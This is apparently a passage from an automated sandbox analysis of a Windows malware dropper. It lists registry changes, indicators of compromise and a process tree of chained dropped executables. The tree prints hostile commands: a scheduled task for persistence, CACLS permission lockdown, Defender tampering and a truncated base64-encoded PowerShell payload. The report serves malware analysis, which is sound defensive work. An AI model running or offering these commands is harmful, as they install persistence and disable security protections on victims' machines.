Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache	MicrosoftEdgeCP.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2424	AppLaunch.exe
2424	AppLaunch.exe
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE
3212	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3212	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
2424	AppLaunch.exe
4436	toolspub2.exe
3744	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeDebugPrivilege	4492	399.exe
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeDebugPrivilege	928	5094.exe
Token: SeDebugPrivilege	204	K.exe
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE
Token: SeCreatePagefilePrivilege	3212	Explorer.EXE
Token: SeShutdownPrivilege	3212	Explorer.EXE

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5112	MicrosoftEdge.exe
3744	MicrosoftEdgeCP.exe
2620	MicrosoftEdgeCP.exe
3744	MicrosoftEdgeCP.exe
32	calc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 4848	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	71
PID 4844 wrote to memory of 4848	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	71
PID 4844 wrote to memory of 4848	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	71
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 4844 wrote to memory of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 3212 wrote to memory of 428	3212	Explorer.EXE	73
PID 3212 wrote to memory of 428	3212	Explorer.EXE	73
PID 3212 wrote to memory of 428	3212	Explorer.EXE	73
PID 3212 wrote to memory of 1400	3212	Explorer.EXE	74
PID 3212 wrote to memory of 1400	3212	Explorer.EXE	74
PID 3212 wrote to memory of 1400	3212	Explorer.EXE	74
PID 428 wrote to memory of 4356	428	FD1D.exe	75
PID 428 wrote to memory of 4356	428	FD1D.exe	75
PID 428 wrote to memory of 4356	428	FD1D.exe	75
PID 4356 wrote to memory of 4812	4356	WI0cI5hY.exe	76
PID 4356 wrote to memory of 4812	4356	WI0cI5hY.exe	76
PID 4356 wrote to memory of 4812	4356	WI0cI5hY.exe	76
PID 3212 wrote to memory of 4784	3212	Explorer.EXE	77
PID 3212 wrote to memory of 4784	3212	Explorer.EXE	77
PID 4812 wrote to memory of 1780	4812	Ma0tF0tz.exe	79
PID 4812 wrote to memory of 1780	4812	Ma0tF0tz.exe	79
PID 4812 wrote to memory of 1780	4812	Ma0tF0tz.exe	79
PID 3212 wrote to memory of 3632	3212	Explorer.EXE	80
PID 3212 wrote to memory of 3632	3212	Explorer.EXE	80
PID 3212 wrote to memory of 3632	3212	Explorer.EXE	80
PID 1780 wrote to memory of 1368	1780	UL8bV6HP.exe	81
PID 1780 wrote to memory of 1368	1780	UL8bV6HP.exe	81
PID 1780 wrote to memory of 1368	1780	UL8bV6HP.exe	81
PID 1368 wrote to memory of 3512	1368	Tq8Oc5RR.exe	82
PID 1368 wrote to memory of 3512	1368	Tq8Oc5RR.exe	82
PID 1368 wrote to memory of 3512	1368	Tq8Oc5RR.exe	82
PID 3212 wrote to memory of 4492	3212	Explorer.EXE	83
PID 3212 wrote to memory of 4492	3212	Explorer.EXE	83
PID 3212 wrote to memory of 4492	3212	Explorer.EXE	83
PID 3212 wrote to memory of 812	3212	Explorer.EXE	84
PID 3212 wrote to memory of 812	3212	Explorer.EXE	84
PID 3212 wrote to memory of 812	3212	Explorer.EXE	84
PID 812 wrote to memory of 3976	812	494.exe	87
PID 812 wrote to memory of 3976	812	494.exe	87
PID 812 wrote to memory of 3976	812	494.exe	87
PID 3212 wrote to memory of 1956	3212	Explorer.EXE	88
PID 3212 wrote to memory of 1956	3212	Explorer.EXE	88
PID 3212 wrote to memory of 1956	3212	Explorer.EXE	88
PID 3976 wrote to memory of 4796	3976	explothe.exe	90
PID 3976 wrote to memory of 4796	3976	explothe.exe	90
PID 3976 wrote to memory of 4796	3976	explothe.exe	90
PID 3976 wrote to memory of 1156	3976	explothe.exe	91
PID 3976 wrote to memory of 1156	3976	explothe.exe	91
PID 3976 wrote to memory of 1156	3976	explothe.exe	91
PID 1156 wrote to memory of 2492	1156	cmd.exe	94
PID 1156 wrote to memory of 2492	1156	cmd.exe	94
PID 1156 wrote to memory of 2492	1156	cmd.exe	94
PID 1156 wrote to memory of 3980	1156	cmd.exe	95
PID 1156 wrote to memory of 3980	1156	cmd.exe	95
PID 1156 wrote to memory of 3980	1156	cmd.exe	95
PID 1156 wrote to memory of 4652	1156	cmd.exe	96
PID 1156 wrote to memory of 4652	1156	cmd.exe	96
PID 1156 wrote to memory of 4652	1156	cmd.exe	96
PID 1156 wrote to memory of 2668	1156	cmd.exe	98
PID 1156 wrote to memory of 2668	1156	cmd.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Users\Admin\AppData\Local\Temp\4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe
  "C:\Users\Admin\AppData\Local\Temp\4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:4848
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:2424
- C:\Users\Admin\AppData\Local\Temp\FD1D.exe
  C:\Users\Admin\AppData\Local\Temp\FD1D.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WI0cI5hY.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WI0cI5hY.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Ma0tF0tz.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Ma0tF0tz.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:4812
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\UL8bV6HP.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\UL8bV6HP.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:1780
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Tq8Oc5RR.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Tq8Oc5RR.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:1368
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1cX69NZ2.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1cX69NZ2.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:3308
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:2128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 568
        9⤵
        Program crash
        
        PID:4316
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2aH175Tt.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2aH175Tt.exe
        7⤵
        Executes dropped EXE
        
        PID:4168
- C:\Users\Admin\AppData\Local\Temp\FF31.exe
  C:\Users\Admin\AppData\Local\Temp\FF31.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\107.bat" "
  2⤵
  - Checks computer location settings
  PID:4784
- C:\Users\Admin\AppData\Local\Temp\231.exe
  C:\Users\Admin\AppData\Local\Temp\231.exe
  2⤵
  - Executes dropped EXE
  PID:3632
- C:\Users\Admin\AppData\Local\Temp\399.exe
  C:\Users\Admin\AppData\Local\Temp\399.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Users\Admin\AppData\Local\Temp\494.exe
  C:\Users\Admin\AppData\Local\Temp\494.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:812
- - C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
    "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:4796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1156
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:2492
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:N"
        5⤵
        
        PID:3980
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "explothe.exe" /P "Admin:R" /E
        5⤵
        
        PID:4652
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:2668
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:N"
        5⤵
        
        PID:2456
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\fefffe8cea" /P "Admin:R" /E
        5⤵
        
        PID:1400
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
      4⤵
      Loads dropped DLL
      PID:5416
- C:\Users\Admin\AppData\Local\Temp\E78.exe
  C:\Users\Admin\AppData\Local\Temp\E78.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Users\Admin\AppData\Local\Temp\3A4C.exe
  C:\Users\Admin\AppData\Local\Temp\3A4C.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2452
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: MapViewOfSection
      PID:4436
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:4928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2400
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      PID:6140
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:5440
- - C:\Users\Admin\AppData\Local\Temp\kos2.exe
    "C:\Users\Admin\AppData\Local\Temp\kos2.exe"
    3⤵
    PID:3776
  - - C:\Users\Admin\AppData\Local\Temp\set16.exe
      "C:\Users\Admin\AppData\Local\Temp\set16.exe"
      4⤵
      Executes dropped EXE
      PID:3308
    - - C:\Users\Admin\AppData\Local\Temp\is-AS2EA.tmp\is-A4DN2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AS2EA.tmp\is-A4DN2.tmp" /SL4 $30266 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1281875 52224
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:4512
      - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -i
        6⤵
        
        PID:1060
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 20
        6⤵
        
        PID:1280
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 20
        7⤵
        
        PID:3608
      - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -s
        6⤵
        Executes dropped EXE
        
        PID:4752
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        6⤵
        
        PID:636
  - - C:\Users\Admin\AppData\Local\Temp\K.exe
      "C:\Users\Admin\AppData\Local\Temp\K.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:204
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:2220
- C:\Users\Admin\AppData\Local\Temp\5094.exe
  C:\Users\Admin\AppData\Local\Temp\5094.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:928
- C:\Users\Admin\AppData\Local\Temp\68B1.exe
  C:\Users\Admin\AppData\Local\Temp\68B1.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:4732
- C:\Users\Admin\AppData\Local\Temp\6C2D.exe
  C:\Users\Admin\AppData\Local\Temp\6C2D.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\71BB.exe
  C:\Users\Admin\AppData\Local\Temp\71BB.exe
  2⤵
  - Executes dropped EXE
  PID:4584
- C:\Users\Admin\AppData\Local\Temp\7AD5.exe
  C:\Users\Admin\AppData\Local\Temp\7AD5.exe
  2⤵
  - Executes dropped EXE
  PID:3620
- C:\Users\Admin\AppData\Local\Temp\866E.exe
  C:\Users\Admin\AppData\Local\Temp\866E.exe
  2⤵
  - Executes dropped EXE
  PID:608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA071.tmp.bat""
    3⤵
    PID:5508
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5652
  - - C:\Users\Admin\AppData\Roaming\calc.exe
      "C:\Users\Admin\AppData\Roaming\calc.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:32
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Executes dropped EXE
        
        PID:3776
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQ